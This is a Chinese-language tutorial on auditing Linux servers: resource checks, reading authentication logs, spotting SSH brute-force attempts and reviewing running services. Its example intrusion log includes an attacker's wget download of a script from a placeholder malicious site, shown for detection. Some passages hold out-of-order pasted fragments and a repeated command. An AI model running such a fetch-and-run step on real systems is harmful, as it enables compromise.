服務器審查
在 Linux 中審查服務器的過程包括評估服務器的性能、安全性和配置,以確定需要改進的領域或任何潛在問題。審查的范圍可以包括檢查安全增強功能、檢查日志文件、審查用戶帳戶、分析服務器的網絡配置以及檢查其軟件版本。
Linux 以其穩定性和安全性而聞名,已成為全球許多網絡和服務器后端的主打產品。根據您使用的發行版,Linux 提供了多種工具和命令來執行全面的服務器審查。
# A command often used for showing memory information
free -m# A command for showing disk usage
df -h# A command for showing CPU load
uptime
系統管理員和 DevOps 專業人員定期進行服務器審查以確保服務器的最佳性能、安全性和可靠性是一項關鍵任務。
Linux 服務器審查
就像給服務器做“全身體檢”——檢查它的健康狀況、安全漏洞和性能瓶頸,確保它穩定高效地工作。以下是通俗易懂的步驟和常用命令:
一、基礎檢查:看“生命體征”
就像測體溫、血壓,先看服務器的基本狀態:
-
內存使用(查是否“貧血”):
free -m # 查看內存總量、已用、空閑(單位MB)
-
關鍵指標:
available
(可用內存)是否充足。
-
-
磁盤空間(查“胃容量”):
df -h # 查看各磁盤分區的使用情況(單位易讀:GB/MB)
-
重點關注:
Use%
(使用率)超過 80% 需清理。
-
-
CPU 負載(查“心臟壓力”):
uptime # 查看負載平均值(1/5/15分鐘) top 或 htop # 實時監控CPU占用高的進程(按q退出)
-
負載解讀:負載值 ≤ CPU核心數 為正常(如4核CPU負載≤4)。
-
二、安全審查:防“小偷入侵”
檢查門鎖(防火墻)、訪客記錄(日志)和可疑人員(用戶賬戶):
-
用戶賬戶檢查(查“誰有鑰匙”):
sudo less /etc/passwd # 查看所有用戶 sudo less /etc/shadow # 查看用戶密碼狀態(需權限) who # 查看當前登錄用戶 last # 查看登錄歷史
-
重點排查:陌生用戶、空密碼賬戶、root遠程登錄。
-
-
防火墻與端口(查“門窗是否關好”):
sudo ufw status # 查看防火墻狀態(Ubuntu) sudo iptables -L -n -v # 查看詳細防火墻規則(通用) ss -tuln # 查看所有監聽端口(替代netstat)
-
風險端口:關閉不必要的端口(如默認的22端口可改為非標準)。
-
-
日志分析(查“監控錄像”):
sudo tail -100 /var/log/auth.log # 查看認證日志(SSH登錄記錄) sudo journalctl -u sshd # 查看SSH服務日志(Systemd系統) grep "Failed" /var/log/auth.log # 過濾登錄失敗的記錄(防暴力破解)
🔹 如何檢測可疑攻擊? 🔸 1?? 統計失敗登錄次數: sh 復制 編輯 grep "Failed" /var/log/auth.log | wc -l 📌 作用:統計包含 "Failed" 的行數,即失敗嘗試次數。 🔍 如果失敗次數異常多(比如幾百次),可能是暴力破解!🔸 2?? 查看攻擊來源 IP sh 復制 編輯 grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr 📌 作用:解析 Failed password for ... from 192.168.1.100 這類日志 提取攻擊 IP 統計每個 IP 出現次數,按次數降序排序 🌟 示例輸出復制 編輯 100 203.0.113.42 50 192.168.1.100 🔍 如果某個 IP 失敗次數異常多,說明它在惡意嘗試登錄!🔸 3?? 阻止攻擊 IP 如果發現惡意 IP,可以用 iptables 或 fail2ban 進行封鎖:sh 復制 編輯 sudo iptables -A INPUT -s 203.0.113.42 -j DROP 📌 作用:阻止 203.0.113.42 訪問服務器(徹底封鎖)。🔹 總結 命令 作用 grep "Failed" /var/log/auth.log 查找登錄失敗的記錄 `grep "Failed" /var/log/auth.log wc -l` `grep "Failed" /var/log/auth.log awk '{print $(NF-3)}' sudo iptables -A INPUT -s <IP> -j DROP 封鎖攻擊 IP 🔹 結論 ? 這條 grep 命令是檢測服務器是否遭遇 SSH 暴力破解 的第一步。 ? 后續可以結合 fail2ban 自動封鎖惡意 IP,提高服務器安全性。
三、性能調優:治“慢性病”
檢查拖慢服務器的“慢性問題”:
-
進程與服務(查“誰在吃資源”):
ps aux --sort=-%cpu | head # 按CPU使用率排序進程 systemctl list-units --type=service # 查看所有服務
-
優化建議:停用不必要的服務(如舊版本MySQL、多余容器)。
-
-
定時任務(查“自動任務”):
crontab -l # 查看當前用戶的定時任務 ls /etc/cron.* # 查看系統級定時任務
-
風險點:異常任務(如挖礦腳本)。
-
-
內核參數(查“身體機能”):
sysctl -a | grep somaxconn # 查看TCP連接隊列大小(示例)
-
常見優化:調整TCP緩沖區、文件打開數(需備份配置文件)。
-
四、備份與更新:打“疫苗”
確保系統安全和數據可恢復:
-
檢查更新(打“補丁”):
sudo apt update && sudo apt upgrade # Debian/Ubuntu sudo yum update # CentOS/RHEL
-
定期更新:修復安全漏洞,升級軟件版本。
-
-
驗證備份(查“保險柜”):
ls -l /backup/ # 查看備份文件 crontab -l | grep backup # 檢查備份任務是否設置
-
關鍵點:備份是否完整、能否恢復。
-
五、自動化工具推薦
-
安全掃描:
lynis audit system
(開源安全審計工具)。 -
監控告警:
Prometheus
?+?Grafana
(監控CPU、內存、磁盤)。 -
日志分析:
ELK
(Elasticsearch, Logstash, Kibana)。
舉個實際例子
假設服務器變慢,按以下步驟排查:
-
快速診斷:
uptime; free -m; df -h; top
-
發現磁盤滿了 → 用?
du -sh /* | sort -rh | head
?找大文件。
-
-
檢查登錄記錄:
uptime; free -m; df -h; top
-
發現陌生IP → 封鎖IP,加強SSH密鑰登錄。
-
通過定期“體檢”,你的服務器會變得更健康、更安全!🚀
正常運行時間負載
在管理 Linux 服務器時,一個值得密切關注的關鍵指標是“正常運行時間”。Linux 中的命令提供有關系統在不關閉或重新啟動的情況下運行了多長時間的信息,以及系統負載平均值。uptime
系統負載平均值是一個重要的指標,它說明了計算機系統執行的計算工作量。它反映了有多少進程正在排隊等待獲取 CPU 時間。系統負載平均值通常顯示 1 分鐘、5 分鐘和 15 分鐘的持續時間。
通過持續分析 Linux 服務器上的正常運行時間和負載,管理員可以識別系統使用模式、診斷可能的性能問題并確定有效的容量規劃策略。如果服務器的平均負載較高,則可能表明系統資源不足或配置錯誤,從而導致性能降低或系統無響應。
以下是該命令及其輸出的示例:uptime
$ uptime10:58:35 up 2 days, 20 min, 1 user, load average: 0.00, 0.01, 0.05
在上面的輸出中,“2 days, 20 min” 告訴我們系統運行了多長時間,而 “0.00, 0.01, 0.05” 分別顯示了系統在過去 1 分鐘、5 分鐘和 15 分鐘內的平均負載。
uptime
?是 Linux 中一個快速查看服務器健康狀態的命令,它能告訴你兩件關鍵事:服務器運行了多久和當前系統的“忙碌程度”。就像汽車的儀表盤,一眼就能看出是否需要“檢修”!
命令輸出示例
$ uptime10:58:35 up 2天, 20分鐘, 1用戶, 平均負載: 0.00, 0.01, 0.05
翻譯成大白話:
-
10:58:35:現在是上午10點58分35秒(系統時間)。
-
up 2天, 20分鐘:服務器已經連續運行了2天零20分鐘沒重啟。
-
1用戶:當前有1個用戶登錄(比如通過SSH)。
-
平均負載: 0.00, 0.01, 0.05:過去1分鐘、5分鐘、15分鐘的“負載指數”。
“平均負載”通俗解釋
你可以把負載(Load Average)想象成超市收銀臺的排隊情況:
-
負載值 = 正在結賬的顧客 + 排隊等待的顧客。
-
假設服務器是4個收銀臺(4核CPU):
-
負載 ≤4:顧客來了能立刻結賬,無需排隊(健康)。
-
負載 >4:開始排隊,數值越大隊伍越長(可能卡頓)。
-
-
三個數值的意義:
-
0.00
(1分鐘負載):剛剛的排隊情況(最敏感,可能突發高峰)。 -
0.01
(5分鐘負載):短期的平均排隊情況。 -
0.05
(15分鐘負載):長期的趨勢(更穩定)。
-
如何判斷負載是否過高?
-
單核CPU:負載超過1.0 表示過載。
-
4核CPU:負載超過4.0 表示滿負荷。
-
舉例:
-
負載: 3.50, 2.10, 0.80
(4核CPU):-
最近1分鐘負載3.5?→ 當前較忙,但未超4核能力。
-
過去15分鐘負載0.8?→ 長期較空閑。
-
-
負載高的常見原因
-
CPU密集型任務:代碼死循環、大量計算。
-
磁盤I/O過高:頻繁讀寫大文件、數據庫查詢慢。
-
內存不足:頻繁交換內存到磁盤(SWAP)。
-
大量網絡請求:DDoS攻擊、高并發訪問。
下一步操作建議
-
快速定位問題:
top # 查看實時進程(按P按CPU排序,按M按內存排序) htop # 更友好的交互式監控工具(需安裝) iostat -x 1 # 查看磁盤IO情況(%util接近100%表示磁盤滿負荷)
(htop界面示例:紅框標出高負載進程) -
針對性解決:
-
CPU高:結束異常進程(
kill 進程ID
)、優化代碼邏輯。 -
磁盤IO高:減少日志輸出、升級SSD、檢查數據庫索引。
-
內存不足:關閉不需要的服務、增加物理內存、優化程序內存泄漏。
-
實際案例
場景:負載突然飆升至?8.00
(4核CPU服務器)。
排查:
-
用?
top
?發現一個?python
?進程占用 200% CPU(表示占滿2個核)。 -
檢查發現是爬蟲程序死循環 → 優化代碼或限制資源。
-
負載降至?
2.00
,恢復健康。
通過?uptime
?快速判斷服務器壓力,結合其他工具定位問題,就像醫生用體溫計+聽診器快速診斷病情一樣高效! 🚑
身份驗證日志
在處理 Linux 服務器及其維護時,需要定期審查的最關鍵組件之一是身份驗證日志。這些日志通常位于 /var/log/auth.log(對于基于 Debian 的發行版)或 /var/log/secure(對于 Red Hat 和 CentOS)中,記錄服務器上發生的所有與身份驗證相關的事件和活動。其中包括系統登錄、密碼更改和發出的 sudo 命令等。
身份驗證日志是監控和分析 Linux 服務器安全性的寶貴工具。它們可以指示暴力登錄攻擊、未經授權的訪問嘗試和任何可疑行為。定期分析這些日志是確保服務器安全性和數據完整性的一項基本任務。
以下是如何使用命令查看身份驗證日志的最后幾個條目的示例:tail
tail /var/log/auth.log
熟悉閱讀和理解身份驗證日志,因為這是確保服務器安全的重要方法。
Linux 身份驗證日志
就像服務器的“安全監控錄像”,詳細記錄了誰在什么時候、以什么方式登錄過系統,以及做了哪些需要權限的操作。它是排查黑客入侵、追蹤異常行為的“破案神器”!以下是通俗解讀:
一、日志文件在哪?
-
Debian/Ubuntu:
/var/log/auth.log
-
RedHat/CentOS:
/var/log/secure
-
查看最新日志(實時監控):
sudo tail -f /var/log/auth.log # 實時滾動顯示最新日志(按Ctrl+C退出)
二、日志里記錄了什么?
1???SSH 登錄記錄
-
登錄成功:
May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
-
關鍵信息:用戶?
root
?從 IP?192.168.1.100
?通過密碼登錄成功。
-
-
登錄失敗:
May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
-
危險信號:非法用戶?
hacker
?從?203.0.113.5
?嘗試密碼登錄失敗!
-
2???sudo 命令記錄
-
用戶提權操作:
May 25 15:00:00 server sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
-
解讀:用戶?
alice
?用?sudo
?以?root
?身份執行了?apt update
。
-
3???用戶賬戶變更
-
創建/刪除用戶:
May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001 May 25 16:05:00 server userdel[3456]: delete user 'test'
-
監控重點:非管理員創建的未知用戶可能是后門賬戶!
-
三、如何快速分析日志?
1???找“暴力破解”攻擊
-
統計某個 IP 的失敗登錄次數:
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr # 輸出示例: # 100 203.0.113.5 # 2 192.168.1.100
-
結果解讀:IP?
203.0.113.5
?嘗試了 100 次密碼,極可能是攻擊者!
-
2???檢查可疑的 sudo 操作
-
查看所有 sudo 提權記錄:
grep "sudo:" /var/log/auth.log
3???追蹤用戶登錄歷史
-
查看所有成功登錄記錄:
grep "Accepted" /var/log/auth.log
四、安全加固建議
-
封禁暴力IP:
sudo fail2ban-client status sshd # 查看被禁IP(需安裝fail2ban) sudo iptables -A INPUT -s 203.0.113.5 -j DROP # 手動封禁IP
-
禁用密碼登錄,改用SSH密鑰:
# 修改SSH配置 /etc/ssh/sshd_config PasswordAuthentication no PermitRootLogin no
-
設置日志監控告警(如用?
logwatch
?或?ELK
?堆棧)。
實際案例:發現入侵痕跡
日志片段:
May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo: root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://惡意網站.com/x.sh
分析:
-
攻擊者從?
203.0.113.5
?暴力破解了 root 密碼。 -
登錄后下載了可疑腳本?
x.sh
(可能是木馬)。
應對:立即封鎖IP,檢查系統后門,重置root密碼!
通過定期“翻看”這些日志,你就像服務器的保安隊長,能第一時間揪出可疑分子!🔍
正在運行的服務
Linux 服務器因其穩定性和靈活性而廣受歡迎,這些因素使它們成為企業和組織在管理各種服務時的首選。在 Linux 服務器下運行的服務范圍從 Web 服務到數據庫服務、DNS 服務器、郵件服務器等。
作為 Linux 系統管理員,定期查看這些正在運行的服務以管理資源、檢查其狀態和解決問題,從而確保服務器的運行狀況和性能非常重要。
Linux 有多種工具可以實現此目的,例如:、、 和 。systemctl
service
netstat
ss
lsof
例如,該命令在 Linux 系統上廣泛使用,用于列出所有正在運行的服務:systemctl
systemctl --type=service
此命令將顯示所有活動服務的列表及其當前狀態。它是服務器管理的必需品,應該成為任何 Linux 系統管理員工具箱的一部分。
在 Linux 服務器中,**“正在運行的服務”**就像一臺多功能機器上的各種“工作模塊”——比如負責網站服務的“模塊”、管理數據庫的“模塊”、處理郵件的“模塊”等。作為管理員,你需要知道哪些模塊正在運行、是否健康,以及它們占用了多少資源。以下是通俗易懂的檢查方法:
一、查看服務列表:用“服務遙控器”
1.?systemctl
?命令(主流工具,適用于大多數新系統)
-
列出所有正在運行的服務:
systemctl list-units --type=service --state=running
輸出示例:
UNIT LOAD ACTIVE SUB DESCRIPTION nginx.service loaded active running Nginx Web Server mysql.service loaded active running MySQL Database ssh.service loaded active running OpenSSH Server
-
關鍵信息:
ACTIVE
?顯示服務狀態(active
?表示正常運行)。
-
-
檢查某個服務的詳細狀態(如Nginx):
systemctl status nginx
輸出示例:
● nginx.service - Nginx Web ServerLoaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days agoMain PID: 1234 (nginx)CGroup: /system.slice/nginx.service├─1234 nginx: master process /usr/sbin/nginx└─1235 nginx: worker process
-
關注點:
Active
(運行狀態)、Main PID
(進程ID)、日志片段。
-
2.?service
?命令(舊系統兼容工具,操作更簡單)
-
列出所有服務(僅顯示部分):
service --status-all
輸出示例:
[ + ] nginx [ - ] mysql [ ? ] docker
-
符號解讀:
+
?表示運行中,-
?表示已停止,?
?表示狀態未知。
-
二、檢查網絡服務:用“網絡監控器”
1.?ss
?或?netstat
?命令(查看服務監聽的端口)
-
列出所有監聽端口的服務:
ss -tulnp # 推薦使用(更高效) # 或 netstat -tulnp # 傳統命令(逐漸被ss取代)
輸出示例:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1234,fd=6)) tcp LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=5678,fd=10))
-
關鍵信息:
-
0.0.0.0:80
?→ Nginx 在 80 端口監聽(提供 Web 服務)。 -
127.0.0.1:3306
?→ MySQL 只允許本機訪問數據庫(更安全)。
-
-
2.?lsof
?命令(查看服務打開的文件/端口)
-
查看某個服務(如Nginx)使用的資源:
sudo lsof -p $(pgrep nginx) # 需安裝 lsof
輸出示例:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME nginx 1234 root cwd DIR 253,1 4096 2 / nginx 1234 root txt REG 253,1 1160328 1234 /usr/sbin/nginx nginx 1234 root 6u IPv4 12345 0t0 TCP *:http (LISTEN)
-
解讀:可以看到 Nginx 的進程打開了哪些文件、監聽了哪些端口。
-
三、管理服務的常用操作
1. 啟動/停止/重啟服務
sudo systemctl start nginx # 啟動
sudo systemctl stop nginx # 停止
sudo systemctl restart nginx # 重啟
2. 禁止服務開機自啟
sudo systemctl disable nginx
3. 檢查服務是否開機自啟
systemctl is-enabled nginx
四、實際場景案例
問題:發現服務器 8080 端口被未知服務占用,如何排查?
-
查看監聽 8080 端口的服務:
ss -tulnp | grep ':8080' # 輸出:users:(("mystery",pid=9999,fd=3))
-
根據 PID 查找服務名:
ps -p 9999 -o comm= # 輸出:mystery-service
-
停止并禁用該服務:
sudo systemctl stop mystery-service sudo systemctl disable mystery-service
五、總結
-
定期檢查服務:關閉不必要的服務,節省資源、提升安全。
-
重點關注:
-
陌生服務(可能是惡意軟件)。
-
監聽在公網 IP 的服務(如?
0.0.0.0:3306
?可能暴露數據庫)。
-
-
工具選擇:
-
快速概覽用?
systemctl
,網絡分析用?ss
,深度排查用?lsof
。
-
掌握這些命令,你就能像“服務器醫生”一樣,隨時診斷服務的健康狀態! 🩺
評估可用內存
在 Linux 環境中運行多個應用程序時,持續跟蹤系統運行狀況對于平穩運行至關重要。在服務器檢查過程中評估可用內存是系統管理員的常見做法。這涉及使用 Linux 提供的各種命令行工具,例如 、 和 。這些可以幫助監控內存使用情況和性能指標,確保系統不會過載,并為重要應用程序提供足夠的資源。free
vmstat
top
例如,該命令給出了總體內存使用情況的摘要,包括總已用內存和可用內存、交換內存和緩沖區/緩存內存。下面是一個示例:free
$ free -htotal used free shared buff/cache available
Mem: 15Gi 10Gi 256Mi 690Mi 5.3Gi 4.2Gi
Swap: 8.0Gi 1.3Gi 6.7Gi
在此輸出中,'-h' 選項用于以人類可讀的格式顯示結果。了解 Linux 服務器中的內存使用狀態有助于保持最佳服務器性能并解決任何潛在問題
free
?是 Linux 中一個查看內存使用情況的命令,可以簡單理解為“內存體檢報告”。它能告訴你:
內存還剩多少?被誰用了?是否快用光了?
就像手機里的“存儲空間”功能,幫你判斷是否需要清理垃圾或升級硬件!
用?free -h
?看內存(人類友好模式)
$ free -htotal used free shared buff/cache available
Mem: 15Gi 10Gi 256Mi 690Mi 5.3Gi 4.2Gi
Swap: 8.0Gi 1.3Gi 6.7Gi
通俗解釋各部分含義:
-
Mem(物理內存):
-
total(總內存):15Gi → 服務器裝了?15G 內存條。
-
used(已用):10Gi →?被程序直接吃掉的內存(如運行中的網站、數據庫)。
-
free(空閑):256Mi →?完全沒被使用的內存(看著少,但別慌!)。
-
buff/cache(緩存):5.3Gi →?系統借來當臨時倉庫的內存(存磁盤讀寫數據,不夠時可快速釋放)。
-
available(實際可用):4.2Gi →?真正還能用的內存?≈ free + buff/cache 可釋放部分。
-
-
Swap(交換內存):
-
total:8Gi →?硬盤上劃出的虛擬內存(速度慢,應急用)。
-
used:1.3Gi →?正在使用的虛擬內存(如果這個值持續很高,說明物理內存不足了!)。
-
如何判斷內存是否夠用?
-
重點看?
available
?列:-
4.2Gi?表示當前還能支撐新程序運行的內存。
-
如果?
available
?接近?0,說明內存快耗盡了,服務器可能會卡頓甚至崩潰!
-
-
Swap 使用情況:
-
少量使用 Swap(如 10% 以內)是正常的。
-
Swap 使用量持續增長?→ 物理內存不足,需優化程序或加內存條!
-
下一步操作建議
? 作用:
📌 示例輸出(部分字段解釋)
plaintext
復制編輯
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld
字段 | 含義 |
---|---|
USER | 進程所屬用戶 |
PID | 進程 ID |
%CPU | CPU 占用率 |
%MEM | 內存占用率 |
VSZ | 進程占用的虛擬內存(KB) |
RSS | 進程占用的物理內存(KB) |
TTY | 終端設備 |
STAT | 進程狀態 |
START | 進程啟動時間 |
TIME | 進程累計 CPU 使用時間 |
COMMAND | 進程的命令 |
🔹 2?? --sort=-%mem
—— 按內存使用率降序排序
sh
復制編輯
--sort=-%mem
-
釋放緩存(臨時救急):
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches # 清理緩存(不影響程序運行)
📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 詳解 該命令用于清理 Linux 系統的緩存,但不會影響正在運行的程序。🔹 1?? sync —— 確保數據寫入磁盤 ? 作用:sync 命令會強制將所有待寫入磁盤的數據(緩存中的數據)真正寫入磁盤,確保數據不會因為清理緩存而丟失。🔹 2?? echo 3 —— 生成緩存清理指令 ? 作用:echo 命令用于輸出 3,這里 3 是一個指令參數,用于通知 Linux 清除所有類型的緩存。數值 作用 1 只清除 頁緩存(Page Cache) 2 只清除 目錄項和 inode 緩存 3 清除所有緩存(推薦使用)🔹 3?? |(管道)—— 連接 echo 和 tee echo 3 | sudo tee /proc/sys/vm/drop_caches ? 作用: echo 3 生成指令 | 管道符:將 echo 3 的輸出傳遞給 tee 命令🔹 4?? sudo tee /proc/sys/vm/drop_caches —— 執行緩存清理 sudo tee /proc/sys/vm/drop_caches ? 作用: sudo —— 以 超級用戶權限 執行(普通用戶無權修改 /proc/sys/vm/drop_caches)。 tee —— 既輸出內容到終端,也寫入文件: /proc/sys/vm/drop_caches 是 Linux 內核參數文件,寫入 3 之后,系統會執行緩存清理。 tee 作用類似于 >,但可以同時顯示和寫入文件,> 直接寫入而不顯示。🔹 5?? sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 總結 ? 完整流程: sync 確保所有數據寫入磁盤,防止未保存數據丟失。 echo 3 生成清理指令。 | 把指令傳遞給 tee。 sudo tee /proc/sys/vm/drop_caches 清理所有緩存。🔹 6?? 注意事項 📌 不會影響正在運行的程序: 該命令僅清理緩存,不會影響應用程序的正常運行。 清理緩存后,系統可能會變慢,因為需要重新加載數據到緩存。📌 適用于哪些場景? 釋放內存:如果 Linux 系統長時間運行,占用大量緩存,可以手動釋放緩存。 測試性能:在進行性能測試時,希望得到不受緩存影響的結果。 查看真實的可用內存:緩存占用內存時,可釋放后查看真實的空閑內存。🔹 7?? 擴展:如何驗證緩存清理? 📌 清理緩存前后,查看內存占用 free -h # 查看內存使用情況 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches free -h # 再次查看變化 🔹 清理前:cached 部分較高 🔹 清理后:cached 變少,free 變多 ?🔹 8?? 更安全的寫法 為了防止錯誤,可以使用更安全的方法: sudo sh -c "echo 3 > /proc/sys/vm/drop_caches" ? 區別:sudo 只影響 sh -c 里的 echo,避免 tee 額外權限問題。 🔹 9?? 總結 命令部分 作用 sync 將緩存數據寫入磁盤,防止數據丟失 echo 3 生成清理指令(3 代表清理所有緩存) ` ` sudo tee /proc/sys/vm/drop_caches 執行緩存清理,釋放內存 💡 這個命令適用于手動釋放緩存,特別是在長時間運行的 Linux 服務器上。
-
揪出“內存大戶”:
top # 按 M 按內存排序(找占用高的進程) htop # 更友好的界面(需安裝) ps aux --sort=-%mem | head # 列出前10內存消耗進程
ps (Process Status,進程狀態) 是 Linux 用于查看進程信息的命令。
aux 選項組合:
a (All Users) → 顯示所有用戶的進程(不僅限于當前用戶)。
u (User Format) → 以用戶友好的格式顯示,包括 CPU、內存、進程名等信息。
x (Including Daemons) → 顯示無終端控制的進程(如后臺服務)。
--sort=-%mem:按 %MEM 字段(內存占用)降序排序(從高到低)。
- 號表示降序(不加 - 號則是升序)。
長期優化:關閉不需要的服務(如多余容器、測試環境)。優化程序內存泄漏(如 Java 的堆內存設置)。升級物理內存(簡單粗暴但有效)。
場景:available
?只剩 500MB,Swap 用了 6Gi。
分析:
-
物理內存嚴重不足,系統頻繁使用 Swap(速度慢,性能差)。
解決:
-
用?
top
?發現一個?java
?進程占用了 8Gi 內存。 -
聯系開發團隊優化代碼或調整 JVM 內存參數。
-
臨時重啟該服務釋放內存,長期計劃加內存條。
通過?free -h
,你就像給服務器做了個“血常規”,一眼看出內存健康狀態! 🩺